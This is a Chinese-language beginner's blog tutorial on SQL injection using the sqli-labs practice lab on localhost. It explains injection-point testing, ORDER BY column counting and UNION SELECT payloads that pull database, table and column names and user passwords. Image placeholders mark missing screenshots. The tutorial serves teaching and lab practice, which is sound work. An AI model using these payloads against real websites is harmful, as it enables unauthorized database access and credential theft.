网络安全菜鸟学习之漏洞篇——sql(一)

前言:漏洞篇包含了一些常见的漏洞与某些常见的利用方法。
首先我们先了解一下Web应用技术是如何进行交互的。如图所示(图片来自《SQL注入攻击与防御》一书),这是常见的两种Web应用技术进行交互方法。从中我们不难看出——我们在对网站进行访问并进行数据调用的时候,实际上是数据库执行了一系列的sql语句。在这里插入图片描述

在这里插入图片描述
那么我们可以想象一下,我们是不是可以通过修改sql语句来达到执行我们想执行的操作。好,那么我们现在就用下面这个案例进行演示,注意网址(先无须看懂,后面会讲细节)。在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
好,到这里我们就获得了数据库名。现在我开始具体的讲解。
首先,先介绍一下我用的是名叫phpStudy的PHP集成环境,下面是下载地址(我用的是2018版本)
https://www.xp.cn/download.html
靶场是sqli-labs,下面是下载地址
https://github.com/Audi-1/sqli-labs(具体的安装流程我会单独写一篇文章或者大家也可以在网上查)
现在开始讲原理。
1.判断注入点
我们想进行sql注入,我们就需要先判断注入点(是否能插入sql语句并然其执行)
如何判断呢?这里就不得不提到我们的and 1=1。
其实和许多语言一样,sql语句中也有and、or的用法。即
真 且 真 = 真
真 且 假 = 假
真 或 假 = 真
好,现在我们回到之前的案例中(%20是空格%27是单引号)
网页正常访问是:http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2
然后我们改成了:http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2 and 1=1(显示正常)
然后我们又改成了:http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2 and 1=2(显示正常)
这是为什么?来,我们来看源代码(注意我框出来的地方)
在这里插入图片描述

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

来看第一句,第一句的意思是用get方式接受一个名为id的值,并把值赋给id(什么是get方式这个在下一篇文章里讲,这里不重要)。现在我们把之前id赋予与的值带进第二句去,然后再写出语句
$sql=“SELECT * FROM users WHERE id=‘2’ LIMIT 0,1”;
$sql=“SELECT * FROM users WHERE id=‘2 and 1=1’ LIMIT 0,1”;
$sql=“SELECT * FROM users WHERE id=‘2 and 1=2’ LIMIT 0,1”;
这里你会发现它把2 and 1=2看成了一个整体,大家可能问为什么还是出来id=2的时候的值
可以参考一下这个解释https://zhidao.baidu.com/question/1952853439075012508.html
我们通过and 1=1和and 1=2得出结论:这里无法注入(但没法判断是否是注入点),我们需要找别的方式试试。
这时我们给id赋值,id=2’ and 1=1
即http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2’ and 1=1
它会报错,“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1”
我们把它放在源代码中来理解一下
$sql=“SELECT * FROM users WHERE id=‘2’ and 1=1’ LIMIT 0,1”;
我们会明显发现多了一个单引号,所以说我们就需要把后面的单引号注释掉
http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2' and 1=1--+
然后我们再写http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2' and 1=2--+
这时网页没有数据回显,证明这里有注入点
2.查询字段数
在讲查询字段数之前,我们需要搞清楚什么是字段
如图所示,Mysql数据库里有多个数据库,数据库里有多个表,表里有多列,列里有数据
字段数就是数据表的列名数在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
我们想查询数据库的内容,就需要查询字段数(至于为什么一会讲)
而查询字段数的语法就是order by x
正如我前面的案例中的用法,通过不断的变换X的值来判断字段数,具体如下:

http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2' order by 1--+
http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2' order by 2--+
http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2' order by 3--+
http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=2' order by 4--+

(报错,证明字段数为3)
3.联合查询注入
到这一步我们也算真正意义上的注入了。在开讲之前,我们要把之前遗留的问题讲一下。
为什么需要查询字段数?
这个就与联合查询注入有关。所谓的联合查询注入就是用union连接两个查询语句。值得注意的是union 内部的 select 语句必须拥有相同数量的列。也就是说前后两个语句的字段数必须一样。
具体可以参考一下这篇文章https://www.jianshu.com/p/3a7363ffffac
好了,解释了为什么查询字段数,我们现在来剖析一下案例中的操作。
首先我进行了这么个操作:

http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=-2' union select 1,2,3--+

有两个细节:
(1).-2
为什么是-2呢?目的是为了让前面一个查询语句返回为空。因为当前一个查询语句返回为空时,后一个查询语句返回的内容才有地方显现出来。在这里插入图片描述
(2).union select 1,2,3
union select 1,2,3有什么用?它的用途是查找出那些地方有数据。(后面慢慢就理解了,也可以参考一下这篇文章https://blog.csdn.net/weixin_44840696/article/details/89166154)
好了,第一步讲完了,我们讲解第二步。
由于我们上一步知道了在2和3的位置有回显,那么我们就可以在这两个地方查询我们想要的东西。按照之前讲的Mysql数据库里有多个数据库,数据库里有多个表,表里有多列,列里有数据。所以说我们先查询数据库名,然后套娃就行。
所以我们就写:http://127.0.0.1/sqli-labs-master/Less-1/index.php?id=-2' union select 1,database(),3--+
到这里之前案例里内容结束了,后面是一个套路,我就不怎么讲了。只是提一下group_concat是把括号里所有的内容列出来。可以看一下下面两张对比图,也可以参考一下这篇文章:https://blog.csdn.net/qq_35531549/article/details/90383022
在这里插入图片描述
在这里插入图片描述

获取表名:
获取数据库名security下面的表名信息
http://127.0.0.1/sqli-labs-master/Less-1/?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在这里插入图片描述

获取列名:
获取数据库名security下的表名users下面列名信息
http://127.0.0.1/sqli-labs-master/Less-1/?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and  table_schema='security'--+

在这里插入图片描述

获取数据:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-2' union select 1,password,username from users limit 2,1--+(limit 2,1 从2位置向后取1条记录。)

在这里插入图片描述
(ps:求各位看官给关注)

猜你喜欢

转载自blog.csdn.net/gqzszzy/article/details/107580828
今日推荐